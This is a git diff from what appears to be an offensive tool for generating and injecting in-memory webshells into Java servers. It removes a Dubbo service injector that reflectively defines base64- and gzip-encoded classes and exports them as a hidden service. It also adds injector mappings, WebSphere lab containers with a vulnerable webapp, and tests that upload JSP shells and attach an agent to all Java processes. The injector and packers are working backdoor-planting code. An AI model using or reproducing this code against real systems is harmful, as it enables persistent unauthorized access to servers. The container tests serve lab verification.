} catch (Exception e3) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private Collection<?> getExportedProviders() {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
|
||||
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
|
||||
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
|
||||
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String str) {
|
||||
String strNormalizePath = normalizePath(str);
|
||||
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
|
||||
if (objFindRegisteredService == null) {
|
||||
objFindRegisteredService = findRegisteredService(strNormalizePath);
|
||||
}
|
||||
if (objFindRegisteredService == null) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
|
||||
if (!listExtractExportedUrls.isEmpty()) {
|
||||
return formatUrls(listExtractExportedUrls);
|
||||
}
|
||||
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
|
||||
if (listResolveProtocols.isEmpty()) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
|
||||
}
|
||||
|
||||
private Object findRegisteredService(String str) {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<?> extractExportedUrls(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
|
||||
if (!list.isEmpty()) {
|
||||
return list;
|
||||
}
|
||||
List<?> list2 = toList(getFieldValue(obj, "exporters"));
|
||||
if (list2.isEmpty()) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
List<Object> arrayList = new ArrayList<>();
|
||||
for (Object exporter : list2) {
|
||||
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.add(objInvokeNoArgs);
|
||||
}
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private List<?> resolveProtocols(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
|
||||
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
|
||||
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
|
||||
}
|
||||
|
||||
private Object invokeNoArgs(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return obj.getClass().getMethod(str).invoke(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object invokeStaticNoArgs(Class<?> cls, String str) {
|
||||
try {
|
||||
return cls.getMethod(str).invoke(null);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFieldValue(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
Class<?> superclass = obj.getClass();
|
||||
while (true) {
|
||||
Class<?> cls = superclass;
|
||||
if (cls == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Field declaredField = cls.getDeclaredField(str);
|
||||
declaredField.setAccessible(true);
|
||||
return declaredField.get(obj);
|
||||
} catch (Exception e) {
|
||||
superclass = cls.getSuperclass();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private List<?> toList(Object obj) {
|
||||
Object value = extractOptionalValue(obj);
|
||||
if (value instanceof Collection) {
|
||||
return new ArrayList<>((Collection<?>) value);
|
||||
}
|
||||
if (value instanceof Map) {
|
||||
return new ArrayList<>(((Map<?, ?>) value).values());
|
||||
}
|
||||
return new ArrayList<>();
|
||||
}
|
||||
|
||||
private Object extractOptionalValue(Object obj) {
|
||||
if (obj instanceof Optional) {
|
||||
return ((Optional<?>) obj).orElse(null);
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
private Object firstElement(List<?> list) {
|
||||
if (list.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return list.get(0);
|
||||
}
|
||||
|
||||
private ProviderConfig castProviderConfig(Object obj) {
|
||||
if (obj instanceof ProviderConfig) {
|
||||
return (ProviderConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig castApplicationConfig(Object obj) {
|
||||
if (obj instanceof ApplicationConfig) {
|
||||
return (ApplicationConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> castRegistries(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(RegistryConfig.class::isInstance)
|
||||
.map(RegistryConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private Object resolveConfigManager() {
|
||||
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
|
||||
if (objInvokeStaticNoArgs != null) {
|
||||
return objInvokeStaticNoArgs;
|
||||
}
|
||||
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
|
||||
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
|
||||
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
}
|
||||
|
||||
private String formatUrls(List<?> list) {
|
||||
return list.stream()
|
||||
.map(this::formatUrl)
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<?> list, String str) {
|
||||
return list.stream()
|
||||
.map(obj -> formatProtocolAddress(obj, str))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatUrl(Object obj) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
|
||||
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(Object obj, String str) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
|
||||
}
|
||||
|
||||
private String stringValue(Object obj, String str) {
|
||||
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
|
||||
}
|
||||
|
||||
private Integer integerValue(Object obj) {
|
||||
if (obj instanceof Number) {
|
||||
return Integer.valueOf(((Number) obj).intValue());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> castProtocols(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(ProtocolConfig.class::isInstance)
|
||||
.map(ProtocolConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
|
||||
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
|
||||
addProtocols(linkedHashMap, collection);
|
||||
addProtocols(linkedHashMap, collection2);
|
||||
return new ArrayList<>(linkedHashMap.values());
|
||||
}
|
||||
|
||||
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
|
||||
if (collection == null) {
|
||||
return;
|
||||
}
|
||||
for (ProtocolConfig protocolConfig : collection) {
|
||||
if (protocolConfig != null) {
|
||||
map.put(protocolKey(protocolConfig), protocolConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocolConfig) {
|
||||
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
|
||||
}
|
||||
|
||||
private String getErrorMessage(Throwable th) {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
|
||||
th.printStackTrace(printStream);
|
||||
return byteArrayOutputStream.toString();
|
||||
} catch (IOException e) {
|
||||
return String.valueOf(th);
|
||||
}
|
||||
}
|
||||
}
|
||||
-283
@@ -1,283 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.common.utils.ClassUtils;
|
||||
import org.apache.dubbo.common.utils.NetUtils;
|
||||
import org.apache.dubbo.config.ProtocolConfig;
|
||||
import org.apache.dubbo.config.RegistryConfig;
|
||||
import org.apache.dubbo.config.ServiceConfig;
|
||||
import org.apache.dubbo.config.context.ConfigManager;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collection;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class DubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public DubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + getErrorMessage(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
private Class<?> getShell(String base64String) throws Exception {
|
||||
ClassLoader classLoader = ClassUtils.getClassLoader(ClassGenerator.class);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(base64String));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
|
||||
String.class, byte[].class, int.class, int.class, java.security.ProtectionDomain.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, null, clazzByte, 0, clazzByte.length,
|
||||
ClassGenerator.class.getProtectionDomain());
|
||||
registerInJavassistClassPool(classLoader, clazzByte);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz;
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
Object pool = ClassGenerator.getClassPool(classLoader);
|
||||
pool.getClass().getMethod("makeClass", java.io.InputStream.class)
|
||||
.invoke(pool, new ByteArrayInputStream(classBytes));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
public String registerService() throws Throwable {
|
||||
String normalizedPath = normalizePath(getUrlPattern());
|
||||
if (normalizedPath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(normalizedPath)) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
|
||||
if (isPathRegisteredInFramework(normalizedPath)) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
Class<?> interfaceClass = getShell(getHelperBase64String());
|
||||
Class<?> implementationClass = getShell(getBase64String());
|
||||
validateServiceTypes(interfaceClass, implementationClass);
|
||||
|
||||
Object serviceInstance = instantiate(implementationClass);
|
||||
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
|
||||
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
|
||||
if (previous != null) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(normalizedPath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private boolean isPathRegisteredInFramework(String path) {
|
||||
try {
|
||||
for (Object service : getRegisteredServices()) {
|
||||
try {
|
||||
Method getPath = service.getClass().getMethod("getPath");
|
||||
if (path.equals(getPath.invoke(service))) {
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Collection<?> getRegisteredServices() {
|
||||
try {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
Method getServices = configManager.getClass().getMethod("getServices");
|
||||
return (Collection<?>) getServices.invoke(configManager);
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Method defaultModel = ApplicationModel.class.getMethod("defaultModel");
|
||||
Object model = defaultModel.invoke(null);
|
||||
Method getDefaultModule = model.getClass().getMethod("getDefaultModule");
|
||||
Object moduleModel = getDefaultModule.invoke(model);
|
||||
Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager");
|
||||
Object moduleConfigManager = getConfigManager.invoke(moduleModel);
|
||||
Method getServices = moduleConfigManager.getClass().getMethod("getServices");
|
||||
return (Collection<?>) getServices.invoke(moduleConfigManager);
|
||||
} catch (Exception ex) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
|
||||
if (!interfaceClass.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
|
||||
}
|
||||
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
|
||||
}
|
||||
if (!interfaceClass.isAssignableFrom(implementationClass)) {
|
||||
throw new IllegalArgumentException(implementationClass.getName()
|
||||
+ " does not implement " + interfaceClass.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> implementationClass) {
|
||||
try {
|
||||
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (ReflectiveOperationException e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
|
||||
ServiceConfig serviceConfig = new ServiceConfig();
|
||||
serviceConfig.setInterface(interfaceClass);
|
||||
serviceConfig.setRef(serviceInstance);
|
||||
serviceConfig.setPath(path);
|
||||
serviceConfig.setVersion("1.0.0");
|
||||
serviceConfig.setProxy("jdk");
|
||||
serviceConfig.setApplication(configManager.getApplication().orElse(null));
|
||||
|
||||
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
|
||||
if (protocols.isEmpty()) {
|
||||
protocols = new ArrayList<>(configManager.getProtocols());
|
||||
}
|
||||
serviceConfig.setProtocols(protocols);
|
||||
|
||||
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
|
||||
if (registries.isEmpty()) {
|
||||
registries = new ArrayList<>(configManager.getRegistries());
|
||||
}
|
||||
serviceConfig.setRegistries(registries);
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String path) {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
|
||||
if (protocols.isEmpty()) {
|
||||
protocols = new ArrayList<>(configManager.getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return path;
|
||||
}
|
||||
String localHost = NetUtils.getLocalHost();
|
||||
return protocols.stream()
|
||||
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,13 +1,15 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.DubboServiceInjector;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
|
||||
|
||||
public class Dubbo extends AbstractServer {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(ShellType.DUBBO_SERVICE, DubboServiceInjector.class)
|
||||
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
|
||||
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,5 +1,5 @@
|
||||
[versions]
|
||||
asm = "9.9.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||
asm = "9.9.1"
|
||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||
bcel = "5.2"
|
||||
javax-servlet-api = "3.0.1"
|
||||
@@ -11,6 +11,9 @@ spring-webflux = "5.3.24"
|
||||
reactor-netty = "1.1.25"
|
||||
jackson = "2.19.0"
|
||||
jetbrains-annotations = "26.0.2"
|
||||
alibaba-dubbo = "2.6.12"
|
||||
apache-dubbo = "2.7.6"
|
||||
tomcat = "8.5.85"
|
||||
|
||||
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||
@@ -26,18 +29,21 @@ hamcrest = "3.0"
|
||||
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||
junit-pioneer = "2.3.0"
|
||||
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||
|
||||
[libraries]
|
||||
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
||||
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
|
||||
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
||||
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
|
||||
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
|
||||
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
|
||||
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
|
||||
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
|
||||
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
|
||||
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
|
||||
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
|
||||
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
|
||||
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
|
||||
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
|
||||
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
|
||||
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
|
||||
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
|
||||
@@ -68,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
|
||||
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
||||
|
||||
[plugins]
|
||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
|
||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1"} # https://plugins.gradle.org/plugin/com.gradleup.shadow
|
||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
|
||||
@@ -2,6 +2,8 @@ services:
|
||||
was700:
|
||||
image: reajason/websphere:7.0.0.21
|
||||
container_name: was700
|
||||
environment:
|
||||
JAVA_OPTS: -Xshareclasses:none
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "9060:9060"
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
services:
|
||||
was905:
|
||||
image: reajason/websphere:9.0.5.17
|
||||
container_name: was905
|
||||
ports:
|
||||
- "9080:9080"
|
||||
- "9060:9060"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
|
||||
+1
-1
@@ -129,7 +129,7 @@ public abstract class AbstractContainerTest {
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@EnumSource(names = {"ClassLoaderJSP", "DefineClassJSP", "JSPX"})
|
||||
@EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"})
|
||||
void testJspPackers(Packers packer) {
|
||||
ContainerTestConfig config = getConfig();
|
||||
if (config.isEnableJspPackerTest()) {
|
||||
|
||||
+58
-2
@@ -400,14 +400,14 @@ public class ShellAssertion {
|
||||
|
||||
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
|
||||
switch (packer) {
|
||||
case JSP, ClassLoaderJSP, DefineClassJSP -> {
|
||||
case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
String filename = shellType + shellTool + packer + ".jsp";
|
||||
String shellUrl = url + "/" + filename;
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||
VulTool.urlIsOk(shellUrl);
|
||||
}
|
||||
case JSPX -> {
|
||||
case JSPX, JSPXUnicode -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
String filename = shellType + shellTool + packer + ".jspx";
|
||||
String shellUrl = url + "/" + filename;
|
||||
@@ -503,4 +503,60 @@ public class ShellAssertion {
|
||||
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
||||
));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.AgentJarWithJREAttacher;
|
||||
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
|
||||
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||
|
||||
// Pack and copy to container
|
||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||
Path tempJar = Files.createTempFile("temp", "jar");
|
||||
Files.write(tempJar, bytes);
|
||||
String jarPath = "/listProcessTest.jar";
|
||||
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||
FileUtils.deleteQuietly(tempJar.toFile());
|
||||
|
||||
// Test 1: List processes (no args)
|
||||
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
|
||||
String listStdout = listResult.getStdout();
|
||||
if (listStdout.contains("executable file not found")) {
|
||||
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
|
||||
listStdout = listResult.getStdout();
|
||||
if (listStdout.contains("no such file or directory")) {
|
||||
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
|
||||
listStdout = listResult.getStdout();
|
||||
}
|
||||
}
|
||||
log.info("list processes output:\n{}", listStdout);
|
||||
System.out.println("list stderr: " + listResult.getStderr());
|
||||
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
|
||||
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
|
||||
|
||||
// Test 2: Attach all
|
||||
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
|
||||
String attachStdout = attachResult.getStdout();
|
||||
if (attachStdout.contains("executable file not found")) {
|
||||
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
|
||||
attachStdout = attachResult.getStdout();
|
||||
if (attachStdout.contains("no such file or directory")) {
|
||||
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
|
||||
